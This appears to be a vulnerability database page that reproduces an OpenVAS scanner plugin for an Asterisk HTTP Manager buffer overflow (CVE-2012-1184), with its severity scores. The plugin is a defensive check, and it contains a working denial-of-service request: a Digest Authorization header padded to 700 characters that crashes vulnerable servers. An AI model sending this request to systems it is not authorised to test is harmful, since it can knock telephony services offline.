Lucene search

K
openvasCopyright (C) 2012 Greenbone AGOPENVAS:1361412562310802838
HistoryApr 23, 2012 - 12:00 a.m.

Asterisk HTTP Manager Buffer Overflow Vulnerability

2012-04-2300:00:00
Copyright (C) 2012 Greenbone AG
plugins.openvas.org
9

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

6.7 Medium

AI Score

Confidence

Low

0.969 High

EPSS

Percentile

99.7%

Asterisk is prone to a buffer overflow vulnerability.

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802838");
  script_version("2023-12-19T05:05:25+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-12-19 05:05:25 +0000 (Tue, 19 Dec 2023)");
  script_tag(name:"creation_date", value:"2012-04-23 16:56:33 +0530 (Mon, 23 Apr 2012)");

  script_cve_id("CVE-2012-1184");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Asterisk HTTP Manager Buffer Overflow Vulnerability");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 8080, 8088);
  script_mandatory_keys("Asterisk/banner");

  script_tag(name:"summary", value:"Asterisk is prone to a buffer overflow vulnerability.");

  script_tag(name:"vuldetect", value:"Checks if a vulnerable version is present on the target host.");

  script_tag(name:"insight", value:"The flaw is due to an error in the 'ast_parse_digest()' function
  (main/utils.c) in HTTP Manager, which fails to handle 'HTTP Digest Authentication' information sent
  via a crafted request with an overly long string.");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to execute
  arbitrary code within the context of the application or cause a denial of service condition.");

  script_tag(name:"affected", value:"Asterisk version 1.8.x before 1.8.10.1, 10.x before 10.2.1 and
  10.3.0.");

  script_tag(name:"solution", value:"Upgrade to Asterisk 1.8.10.1, 10.2.1 or later.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/48417/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52815");
  script_xref(name:"URL", value:"http://securitytracker.com/id/1026813");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/74083");
  script_xref(name:"URL", value:"https://issues.asterisk.org/jira/browse/ASTERISK-19542");
  script_xref(name:"URL", value:"http://downloads.asterisk.org/pub/security/AST-2012-003.html");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:8080);

host = http_host_name(port:port);

banner = http_get_remote_headers(port:port);

if(!banner || "Server: Asterisk" >!< banner)
  exit(0);

if(http_is_dead(port:port))
  exit(0);

req = string("GET /amxml HTTP/1.1\r\n",
             "Host: ", host, ":", port, "\r\n",
             "Authorization: Digest ", crap(data: "a", length: 700), "\r\n\r\n");
http_send_recv(port:port, data:req);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

6.7 Medium

AI Score

Confidence

Low

0.969 High

EPSS

Percentile

99.7%